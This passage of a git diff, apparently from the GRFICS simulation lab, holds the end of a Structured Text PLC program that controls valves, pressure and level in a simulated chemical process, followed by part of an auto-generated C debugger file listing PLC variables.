:= 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + MOVE99_OUT := MOVE(EN := run_bit, IN := 0, ENO => MOVE99_ENO); + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c new file mode 100644 index 0000000..a53d9ea --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c @@ -0,0 +1,730 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1029 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, 